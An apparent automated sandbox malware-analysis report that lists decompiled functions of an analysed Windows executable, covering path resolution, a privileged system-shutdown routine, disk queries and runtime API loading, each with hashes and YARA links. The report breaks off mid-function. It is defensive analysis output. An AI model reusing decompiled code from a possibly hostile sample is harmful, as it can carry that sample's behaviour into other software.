Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$Free$Query
String ID:
API String ID: 778034434-0
Opcode ID: 70118730a538275f8eba95c50282fe5a7e92951222106072b386c800723d93a4
Instruction ID: 6789628300bf7aa479fe1b8b627d7daf3441881ad106b622f2e79b23e4dc796b
Opcode Fuzzy Hash: 70118730a538275f8eba95c50282fe5a7e92951222106072b386c800723d93a4
Instruction Fuzzy Hash: C5F06D353046005FD311DF1AC844B17BBE9EFC5711F15C67AE888973A1E635DD018796

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040A928, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 140
stringlibraryfileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040A928(short* __eax, intOrPtr __edx) {
				short* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				struct _WIN32_FIND_DATAW _v612;
				short _v1134;
				signed int _t50;
				signed int _t51;
				void* _t55;
				signed int _t88;
				signed int _t89;
				intOrPtr* _t90;
				signed int _t101;
				signed int _t102;
				short* _t112;
				struct HINSTANCE__* _t113;
				short* _t115;
				short* _t116;
				void* _t117;

				_v12 = __edx;
				_v8 = __eax;
				_v16 = _v8;
				_t113 = GetModuleHandleW(L"kernel32.dll");
				if(_t113 == 0) {
					L4:
					if( *_v8 != 0x5c) {
						_t115 = _v8 + 4;
						goto L10;
					} else {
						if( *((short*)(_v8 + 2)) == 0x5c) {
							_t116 = E0040A904(_v8 + 4);
							if( *_t116 != 0) {
								_t14 = _t116 + 2; // 0x2
								_t115 = E0040A904(_t14);
								if( *_t115 != 0) {
									L10:
									_t88 = _t115 - _v8;
									_t89 = _t88 >> 1;
									if(_t88 < 0) {
										asm("adc ebx, 0x0");
									}
									_t43 = _t89 + 1;
									if(_t89 + 1 <= 0x105) {
										E0040A34C( &_v1134, _v8, _t43);
										while( *_t115 != 0) {
											_t112 = E0040A904(_t115 + 2);
											_t50 = _t112 - _t115;
											_t51 = _t50 >> 1;
											if(_t50 < 0) {
												asm("adc eax, 0x0");
											}
											if(_t51 + _t89 + 1 <= 0x105) {
												_t55 =  &_v1134 + _t89 + _t89;
												_t101 = _t112 - _t115;
												_t102 = _t101 >> 1;
												if(_t101 < 0) {
													asm("adc edx, 0x0");
												}
												E0040A34C(_t55, _t115, _t102 + 1);
												_v20 = FindFirstFileW( &_v1134,  &_v612);
												if(_v20 != 0xffffffff) {
													FindClose(_v20);
													if(lstrlenW( &(_v612.cFileName)) + _t89 + 1 + 1 <= 0x105) {
														 *((short*)(_t117 + _t89 * 2 - 0x46a)) = 0x5c;
														E0040A34C( &_v1134 + _t89 + _t89 + 2,  &(_v612.cFileName), 0x105 - _t89 - 1);
														_t89 = _t89 + lstrlenW( &(_v612.cFileName)) + 1;
														_t115 = _t112;
														continue;
													}
												}
											}
											goto L24;
										}
										E0040A34C(_v8,  &_v1134, _v12);
									}
								}
							}
						}
					}
				} else {
					_t90 = GetProcAddress(_t113, "GetLongPathNameW");
					if(_t90 == 0) {
						goto L4;
					} else {
						_push(0x105);
						_push( &_v1134);
						_push(_v8);
						if( *_t90() == 0) {
							goto L4;
						} else {
							E0040A34C(_v8,  &_v1134, _v12);
						}
					}
				}
				L24:
				return _v16;
			}

0x0040a934
0x0040a937
0x0040a93d
0x0040a94a
0x0040a94e
0x0040a98d
0x0040a994
0x0040a9d4
0x00000000
0x0040a996
0x0040a99e
0x0040a9af
0x0040a9b5
0x0040a9bb
0x0040a9c3
0x0040a9c9
0x0040a9d7
0x0040a9d9
0x0040a9dc
0x0040a9de
0x0040a9e0
0x0040a9e0
0x0040a9e3
0x0040a9eb
0x0040a9fc
0x0040aac3
0x0040aa0e
0x0040aa12
0x0040aa14
0x0040aa16
0x0040aa18
0x0040aa18
0x0040aa23
0x0040aa33
0x0040aa37
0x0040aa39
0x0040aa3b
0x0040aa3d
0x0040aa3d
0x0040aa43
0x0040aa5b
0x0040aa62
0x0040aa68
0x0040aa84
0x0040aa86
0x0040aaad
0x0040aabf
0x0040aac1
0x00000000
0x0040aac1
0x0040aa84
0x0040aa62
0x00000000
0x0040aa23
0x0040aad9
0x0040aad9
0x0040a9eb
0x0040a9c9
0x0040a9b5
0x0040a99e
0x0040a950
0x0040a95b
0x0040a95f
0x00000000
0x0040a961
0x0040a961
0x0040a96c
0x0040a970
0x0040a975
0x00000000
0x0040a977
0x0040a983
0x0040a983
0x0040a975
0x0040a95f
0x0040aade
0x0040aae7

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,004162BC,?,?), ref: 0040A945
GetProcAddress.KERNEL32(00000000,GetLongPathNameW), ref: 0040A956
FindFirstFileW.KERNEL32(?,?,kernel32.dll,004162BC,?,?), ref: 0040AA56
FindClose.KERNEL32(?,?,?,kernel32.dll,004162BC,?,?), ref: 0040AA68
lstrlenW.KERNEL32(?,?,?,?,kernel32.dll,004162BC,?,?), ref: 0040AA74
lstrlenW.KERNEL32(?,?,?,?,?,kernel32.dll,004162BC,?,?), ref: 0040AAB9

Strings

\, xrefs: 0040AA86
kernel32.dll, xrefs: 0040A940
GetLongPathNameW, xrefs: 0040A950

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameW$\$kernel32.dll
API String ID: 1930782624-3908791685
Opcode ID: 2e7747c66ca0daf9bf73dcf24122f514d4f35ae2d915a4be054088bbf24f0c4d
Instruction ID: 0568a8f2c4c85ac628058e700237ad117df8c3680498263a44950cac296231c5
Opcode Fuzzy Hash: 2e7747c66ca0daf9bf73dcf24122f514d4f35ae2d915a4be054088bbf24f0c4d
Instruction Fuzzy Hash: 7841A071B003189BCB20DE98CD85A9EB3B5AB44310F1485B69945F72C1EB7CAE51CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 004AF110, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 42
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E004AF110() {
				int _v4;
				struct _TOKEN_PRIVILEGES _v16;
				void* _v20;
				int _t7;

				if(E0041FF2C() != 2) {
					L5:
					_t7 = ExitWindowsEx(2, 0);
					asm("sbb eax, eax");
					return _t7 + 1;
				}
				if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v20) != 0) {
					LookupPrivilegeValueW(0, L"SeShutdownPrivilege",  &(_v16.Privileges));
					_v16.PrivilegeCount = 1;
					_v4 = 2;
					AdjustTokenPrivileges(_v20, 0,  &_v16, 0, 0, 0);
					if(GetLastError() == 0) {
						goto L5;
					}
					return 0;
				}
				return 0;
			}

0x004af11b
0x004af178
0x004af17c
0x004af184
0x00000000
0x004af186
0x004af12d
0x004af13f
0x004af144
0x004af14c
0x004af166
0x004af172
0x00000000
0x00000000
0x00000000
0x004af174
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 004AF120
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 004AF126
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 004AF13F
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 004AF166
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 004AF16B
ExitWindowsEx.USER32(00000002,00000000), ref: 004AF17C

Strings

SeShutdownPrivilege, xrefs: 004AF138

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: dbd0b99069aff0d6788c9efc2bbd2c2bb6d4dae2a155ecb9c3cc528dabbfbf9f
Instruction ID: 15d82be9bc359c8987119149698676c325083c88dcd196a4f2f9cd1a299335ef
Opcode Fuzzy Hash: dbd0b99069aff0d6788c9efc2bbd2c2bb6d4dae2a155ecb9c3cc528dabbfbf9f
Instruction Fuzzy Hash: 75F06D70684301B5E610A6F2CD07F6B21C89B56B58FA00D3EBA84E91C2D7BDD81D42BF

Uniqueness

Uniqueness Score: -1.00%

Function 0041A4DC, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A4DC(WCHAR* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				WCHAR* _t25;
				int _t26;
				intOrPtr _t31;
				intOrPtr _t34;
				intOrPtr* _t37;
				intOrPtr* _t38;
				intOrPtr _t46;
				intOrPtr _t48;

				_t25 = _a4;
				if(_t25 == 0) {
					_t25 = 0;
				}
				_t26 = GetDiskFreeSpaceW(_t25,  &_v8,  &_v12,  &_v16,  &_v20);
				_v28 = _v8 * _v12;
				_v24 = 0;
				_t46 = _v24;
				_t31 = E004095A8(_v28, _t46, _v16, 0);
				_t37 = _a8;
				 *_t37 = _t31;
				 *((intOrPtr*)(_t37 + 4)) = _t46;
				_t48 = _v24;
				_t34 = E004095A8(_v28, _t48, _v20, 0);
				_t38 = _a12;
				 *_t38 = _t34;
				 *((intOrPtr*)(_t38 + 4)) = _t48;
				return _t26;
			}

0x0041a4e3
0x0041a4e8
0x0041a4ea
0x0041a4ea
0x0041a4fd
0x0041a50c
0x0041a50f
0x0041a51c
0x0041a51f
0x0041a524
0x0041a527
0x0041a529
0x0041a536
0x0041a539
0x0041a53e
0x0041a541
0x0041a543
0x0041a54c

APIs

GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?), ref: 0041A4FD

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 35fab30d3ed47bb79bc7b5801678cd6b626cb6661b26d0a6d4a2aa78d0844cce
Instruction ID: 14c90aad059d6341cd8fbca9d1c94cd423dd62e4f1f0ed92fc39ecac232c4210
Opcode Fuzzy Hash: 35fab30d3ed47bb79bc7b5801678cd6b626cb6661b26d0a6d4a2aa78d0844cce
Instruction Fuzzy Hash: 7711C0B5A01209AFDB04CF9ACD819EFB7F9EFC8304B14C569A505E7255E6319E018B94

Uniqueness

Uniqueness Score: -1.00%

Function 00427874, Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00427874() {
				struct HINSTANCE__* _v8;
				intOrPtr _t46;
				void* _t91;

				_v8 = GetModuleHandleW(L"oleaut32.dll");
				 *0x4c1134 = E00427848("VariantChangeTypeEx", E00427264, _t91);
				 *0x4c1138 = E00427848("VarNeg", E004272AC, _t91);
				 *0x4c113c = E00427848("VarNot", E004272AC, _t91);
				 *0x4c1140 = E00427848("VarAdd", E004272B8, _t91);
				 *0x4c1144 = E00427848("VarSub", E004272B8, _t91);
				 *0x4c1148 = E00427848("VarMul", E004272B8, _t91);
				 *0x4c114c = E00427848("VarDiv", E004272B8, _t91);
				 *0x4c1150 = E00427848("VarIdiv", E004272B8, _t91);
				 *0x4c1154 = E00427848("VarMod", E004272B8, _t91);
				 *0x4c1158 = E00427848("VarAnd", E004272B8, _t91);
				 *0x4c115c = E00427848("VarOr", E004272B8, _t91);
				 *0x4c1160 = E00427848("VarXor", E004272B8, _t91);
				 *0x4c1164 = E00427848("VarCmp", E004272C4, _t91);
				 *0x4c1168 = E00427848("VarI4FromStr", E004272D0, _t91);
				 *0x4c116c = E00427848("VarR4FromStr", E0042733C, _t91);
				 *0x4c1170 = E00427848("VarR8FromStr", E004273AC, _t91);
				 *0x4c1174 = E00427848("VarDateFromStr", E0042741C, _t91);
				 *0x4c1178 = E00427848("VarCyFromStr", E0042748C, _t91);
				 *0x4c117c = E00427848("VarBoolFromStr", E004274FC, _t91);
				 *0x4c1180 = E00427848("VarBstrFromCy", E0042757C, _t91);
				 *0x4c1184 = E00427848("VarBstrFromDate", E00427624, _t91);
				_t46 = E00427848("VarBstrFromBool", E004277B4, _t91);
				 *0x4c1188 = _t46;
				return _t46;
			}

0x00427882
0x00427896
0x004278ac
0x004278c2
0x004278d8
0x004278ee
0x00427904
0x0042791a
0x00427930
0x00427946
0x0042795c
0x00427972
0x00427988
0x0042799e
0x004279b4
0x004279ca
0x004279e0
0x004279f6
0x00427a0c
0x00427a22
0x00427a38
0x00427a4e
0x00427a5e
0x00427a64
0x00427a6b

APIs

GetModuleHandleW.KERNEL32(oleaut32.dll), ref: 0042787D

Part of subcall function 00427848: GetProcAddress.KERNEL32(00000000), ref: 00427861

Strings

VarCmp, xrefs: 00427993
VarBstrFromDate, xrefs: 00427A43
VarBstrFromBool, xrefs: 00427A59
VarIdiv, xrefs: 00427925
VarAdd, xrefs: 004278CD
VarCyFromStr, xrefs: 00427A01
VarDiv, xrefs: 0042790F
VarNot, xrefs: 004278B7
VarOr, xrefs: 00427967
VarBoolFromStr, xrefs: 00427A17
VarAnd, xrefs: 00427951
VarR8FromStr, xrefs: 004279D5
VarBstrFromCy, xrefs: 00427A2D
oleaut32.dll, xrefs: 00427878
VarMul, xrefs: 004278F9
VarI4FromStr, xrefs: 004279A9
VarDateFromStr, xrefs: 004279EB
VarNeg, xrefs: 004278A1
VarXor, xrefs: 0042797D
VarSub, xrefs: 004278E3
VariantChangeTypeEx, xrefs: 0042788B
VarMod, xrefs: 0042793B
VarR4FromStr, xrefs: 004279BF

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 3edd394f2c42f1ee7728dbbd964d2d48b2f407ea9c7b21d0b846acf91e36c10d
Instruction ID: afb448a43cf45882875cbd5333393c9475fd06a837c60371df2c799b3a2ca9d5
Opcode Fuzzy Hash: 3edd394f2c42f1ee7728dbbd964d2d48b2f407ea9c7b21d0b846acf91e36c10d
Instruction Fuzzy Hash: 4741442078D2689A53007BAA3C0692A7B9CD64A7243E0E07FF5048B766DF7CAC40867D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E7CC, Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 194
threadCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0041E7CC(void* __eax, void* __ebx, signed int __edx, void* __edi, void* __esi, long long __fp0) {
				signed int _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr* _t32;
				signed int _t53;
				signed int _t56;
				signed int _t71;
				signed int _t78;
				signed int* _t82;
				signed int _t85;
				void* _t93;
				signed int _t94;
				signed int _t95;
				signed int _t98;
				signed int _t99;
				void* _t105;
				intOrPtr _t106;
				signed int _t109;
				intOrPtr _t116;
				intOrPtr _t117;
				void* _t131;
				void* _t132;
				signed int _t134;
				void* _t136;
				void* _t137;
				void* _t139;
				void* _t140;
				intOrPtr _t141;
				void* _t142;
				long long _t161;

				_t161 = __fp0;
				_t126 = __edi;
				_t109 = __edx;
				_t139 = _t140;
				_t141 = _t140 + 0xfffffff0;
				_push(__edi);
				_v12 = 0;
				_v8 = __edx;
				_t93 = __eax;
				_push(_t139);
				_push(0x41ea61);
				_push( *[fs:eax]);
				 *[fs:eax] = _t141;
				_t32 =  *0x4ba590; // 0x4bb8f8
				_t144 =  *_t32;
				if( *_t32 == 0) {
					E0040554C(0x1a);
				}
				E00406688(E0040690C( *0x4be7e4, 0, _t126), _t109 | 0xffffffff, _t144);
				_push(_t139);
				_push(0x41ea44);
				_push( *[fs:edx]);
				 *[fs:edx] = _t141;
				 *0x4be7dc = 0;
				_push(0);
				E00409C00();
				_t142 = _t141 + 4;
				E0041E034(_t93, 0x41ea7c, 0x100b,  &_v12);
				_t127 = E0041A1C4(0x41ea7c, 1, _t144);
				if(_t127 + 0xfffffffd - 3 >= 0) {
					__eflags = _t127 - 0xffffffffffffffff;
					if(_t127 - 0xffffffffffffffff < 0) {
						 *0x4be7dc = 1;
						_push(1);
						E00409C00();
						_t142 = _t142 + 4;
						E00407E00( *0x4be7e0, L"B.C.");
						 *((intOrPtr*)( *0x4be7e0 + 4)) = 0;
						_t71 =  *0x4be7e0;
						 *((intOrPtr*)(_t71 + 8)) = 0xffc00000;
						 *((intOrPtr*)(_t71 + 0xc)) = 0xc1dfffff;
						E0041C1C4(1, 1, 1, __eflags, _t161);
						_v20 = E00405790();
						_v16 = 1;
						asm("fild qword [ebp-0x10]");
						 *((long long*)( *0x4be7e0 + 0x10)) = _t161;
						asm("wait");
						EnumCalendarInfoW(E0041E6A4, GetThreadLocale(), _t127, 4);
						_t78 =  *0x4be7e0;
						__eflags = _t78;
						if(_t78 != 0) {
							_t82 = _t78 - 4;
							__eflags = _t82;
							_t78 =  *_t82;
						}
						_t134 = _t78 - 1;
						__eflags = _t134;
						if(_t134 > 0) {
							_t98 = 1;
							do {
								 *((intOrPtr*)( *0x4be7e0 + 4 + (_t98 + _t98 * 2) * 8)) = 0xffffffff;
								_t98 = _t98 + 1;
								_t134 = _t134 - 1;
								__eflags = _t134;
							} while (_t134 != 0);
						}
						EnumCalendarInfoW(E0041E73C, GetThreadLocale(), _t127, 3);
					}
				} else {
					EnumCalendarInfoW(E0041E6A4, GetThreadLocale(), _t127, 4);
					_t85 =  *0x4be7e0;
					if(_t85 != 0) {
						_t85 =  *(_t85 - 4);
					}
					_t136 = _t85 - 1;
					if(_t136 >= 0) {
						_t137 = _t136 + 1;
						_t99 = 0;
						do {
							 *((intOrPtr*)( *0x4be7e0 + 4 + (_t99 + _t99 * 2) * 8)) = 0xffffffff;
							_t99 = _t99 + 1;
							_t137 = _t137 - 1;
						} while (_t137 != 0);
					}
					EnumCalendarInfoW(E0041E73C, GetThreadLocale(), _t127, 3);
				}
				_t94 =  *0x4be7e0;
				if(_t94 != 0) {
					_t94 =  *(_t94 - 4);
				}
				_push(_t94);
				E00409C00();
				_t53 =  *0x4be7e0;
				if(_t53 != 0) {
					_t53 =  *(_t53 - 4);
				}
				_t131 = _t53 - 1;
				if(_t131 >= 0) {
					_t132 = _t131 + 1;
					_t95 = 0;
					do {
						_t127 = _t95 + _t95 * 2;
						_t106 =  *0x416e18; // 0x416e1c
						E00408F5C( *((intOrPtr*)(_v8 + 0xbc)) + (_t95 + _t95 * 2) * 8, _t106,  *0x4be7e0 + (_t95 + _t95 * 2) * 8);
						_t95 = _t95 + 1;
						_t132 = _t132 - 1;
					} while (_t132 != 0);
				}
				_t116 =  *0x41e600; // 0x41e604
				E00409D24(0x4be7e0, _t116);
				_t56 =  *0x4be7e0;
				if(_t56 != 0) {
					_t56 =  *(_t56 - 4);
				}
				 *0x4be7dc = _t56;
				_pop(_t117);
				_pop(_t105);
				 *[fs:eax] = _t117;
				_push(0x41ea4b);
				return E00406868( *0x4be7e4, _t105, _t127);
			}

0x0041e7cc
0x0041e7cc
0x0041e7cc
0x0041e7cd
0x0041e7cf
0x0041e7d4
0x0041e7d7
0x0041e7da
0x0041e7dd
0x0041e7e1
0x0041e7e2
0x0041e7e7
0x0041e7ea
0x0041e7ed
0x0041e7f2
0x0041e7f5
0x0041e7f9
0x0041e7f9
0x0041e80b
0x0041e812
0x0041e813
0x0041e818
0x0041e81b
0x0041e820
0x0041e826
0x0041e837
0x0041e83c
0x0041e84f
0x0041e861
0x0041e86b
0x0041e8c8
0x0041e8cb
0x0041e8d6
0x0041e8dc
0x0041e8ed
0x0041e8f2
0x0041e8ff
0x0041e90b
0x0041e90e
0x0041e913
0x0041e91a
0x0041e92d
0x0041e937
0x0041e93a
0x0041e93d
0x0041e945
0x0041e948
0x0041e957
0x0041e95c
0x0041e961
0x0041e963
0x0041e965
0x0041e965
0x0041e968
0x0041e968
0x0041e96c
0x0041e96d
0x0041e96f
0x0041e971
0x0041e976
0x0041e97f
0x0041e987
0x0041e988
0x0041e988
0x0041e988
0x0041e976
0x0041e999
0x0041e999
0x0041e86d
0x0041e87b
0x0041e880
0x0041e887
0x0041e88c
0x0041e88c
0x0041e890
0x0041e893
0x0041e895
0x0041e896
0x0041e898
0x0041e8a1
0x0041e8a9
0x0041e8aa
0x0041e8aa
0x0041e898
0x0041e8bb
0x0041e8bb
0x0041e9a3
0x0041e9a7
0x0041e9ac
0x0041e9ac
0x0041e9ae
0x0041e9c2
0x0041e9ca
0x0041e9d1
0x0041e9d6
0x0041e9d6
0x0041e9da
0x0041e9dd
0x0041e9df
0x0041e9e0
0x0041e9e2
0x0041e9e2
0x0041e9fa
0x0041ea00
0x0041ea05
0x0041ea06
0x0041ea06
0x0041e9e2
0x0041ea0e
0x0041ea14
0x0041ea19
0x0041ea20
0x0041ea25
0x0041ea25
0x0041ea27
0x0041ea2e
0x0041ea30
0x0041ea31
0x0041ea34
0x0041ea43

APIs

GetThreadLocale.KERNEL32(00000000,00000004), ref: 0041E870
EnumCalendarInfoW.KERNEL32(0041E6A4,00000000,00000000,00000004), ref: 0041E87B
GetThreadLocale.KERNEL32(00000000,00000003,0041E6A4,00000000,00000000,00000004), ref: 0041E8B0
EnumCalendarInfoW.KERNEL32(0041E73C,00000000,00000000,00000003,0041E6A4,00000000,00000000,00000004), ref: 0041E8BB
GetThreadLocale.KERNEL32(00000000,00000004), ref: 0041E94C
EnumCalendarInfoW.KERNEL32(0041E6A4,00000000,00000000,00000004), ref: 0041E957
GetThreadLocale.KERNEL32(00000000,00000003,0041E6A4,00000000,00000000,00000004), ref: 0041E98E
EnumCalendarInfoW.KERNEL32(0041E73C,00000000,00000000,00000003,0041E6A4,00000000,00000000,00000004), ref: 0041E999

Strings

B.C., xrefs: 0041E8FA
ToA, xrefs: 0041E9BC
K, xrefs: 0041EA09
K, xrefs: 0041E827
K, xrefs: 0041E8DD

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: CalendarEnumInfoLocaleThread
String ID: B.C.$ToA$K$K$K
API String ID: 683597275-1724967715
Opcode ID: 30548e6079ac2033bf0e04708f2267278c7844b43060e3a4cc9a960100252a35
Instruction ID: 5f9a2d1895d99171d8daf0119b8bb3b5d98f795b9e196a74a36fcd0882631485
Opcode Fuzzy Hash: 30548e6079ac2033bf0e04708f2267278c7844b43060e3a4cc9a960100252a35
Instruction Fuzzy Hash: 3061D7786002009FD710EF2BCC85AD677A9FB84354B518A7AFC019B3A6CB78DC41CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040A250, Relevance: 21.0, APIs: 8, Strings: 4, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A250() {
				signed int _t2;
				_Unknown_base(*)()* _t8;

				InitializeCriticalSection(0x4bdc10);
				 *0x4bdc28 = 0x7f;
				_t2 = GetVersion() & 0x000000ff;
				 *0x4bdc0c = _t2 - 6 >= 0;
				if( *0x4bdc0c != 0) {
					 *0x4bdc00 = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetThreadPreferredUILanguages");
					 *0x4bdc04 = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "SetThreadPreferredUILanguages");
					_t8 = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetThreadUILanguage");
					 *0x4bdc08 = _t8;
					return _t8;
				}
				return _t2;
			}

0x0040a255
0x0040a25a
0x0040a268
0x0040a270
0x0040a27e
0x0040a295
0x0040a2af
0x0040a2c4
0x0040a2c9
0x00000000
0x0040a2c9
0x0040a2ce

APIs

InitializeCriticalSection.KERNEL32(004BDC10,004B5037,00000400,00000000,004B50D7), ref: 0040A255
GetVersion.KERNEL32(004BDC10,004B5037,00000400,00000000,004B50D7), ref: 0040A263
GetModuleHandleW.KERNEL32(kernel32.dll,GetThreadPreferredUILanguages,004BDC10,004B5037,00000400,00000000,004B50D7), ref: 0040A28A
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0040A290
GetModuleHandleW.KERNEL32(kernel32.dll,SetThreadPreferredUILanguages,00000000,kernel32.dll,GetThreadPreferredUILanguages,004BDC10,004B5037,00000400,00000000,004B50D7), ref: 0040A2A4
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0040A2AA
GetModuleHandleW.KERNEL32(kernel32.dll,GetThreadUILanguage,00000000,kernel32.dll,SetThreadPreferredUILanguages,00000000,kernel32.dll,GetThreadPreferredUILanguages,004BDC10,004B5037,00000400,00000000,004B50D7), ref: 0040A2BE
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0040A2C4

Strings

SetThreadPreferredUILanguages, xrefs: 0040A29A
kernel32.dll, xrefs: 0040A285, 0040A29F, 0040A2B9
GetThreadPreferredUILanguages, xrefs: 0040A280
GetThreadUILanguage, xrefs: 0040A2B4

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc$CriticalInitializeSectionVersion
String ID: GetThreadPreferredUILanguages$GetThreadUILanguage$SetThreadPreferredUILanguages$kernel32.dll
API String ID: 74573329-1403180336
Opcode ID: 58d327082e64ef42c945ef42cd8e374577ec01c28157982806072b66866d47a0
Instruction ID: d84369935ce7e940d286def53580bf621e493dc20acbcc0033f4522394103be5
Opcode Fuzzy Hash: 58d327082e64ef42c945ef42cd8e374577ec01c28157982806072b66866d47a0
Instruction Fuzzy Hash: F9F098A49853413DD6207F769D07B292D685A0170AF644AFFB410763D3EEFE4190E71E

Uniqueness

Uniqueness Score: -1.00%

Function 0041E0AC, Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 216
threadCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E0041E0AC(int __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* __fp0) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				int _t55;
				void* _t121;
				void* _t128;
				void* _t151;
				void* _t152;
				intOrPtr _t172;
				intOrPtr _t204;
				signed short _t212;
				int _t214;
				intOrPtr _t216;
				intOrPtr _t217;
				void* _t224;

				_t224 = __fp0;
				_t211 = __edi;
				_t216 = _t217;
				_t152 = 7;
				do {
					_push(0);
					_push(0);
					_t152 = _t152 - 1;
				} while (_t152 != 0);
				_push(__edi);
				_t151 = __edx;
				_t214 = __eax;
				_push(_t216);
				_push(0x41e391);
				_push( *[fs:eax]);
				 *[fs:eax] = _t217;
				_t55 = IsValidLocale(__eax, 1);
				_t219 = _t55;
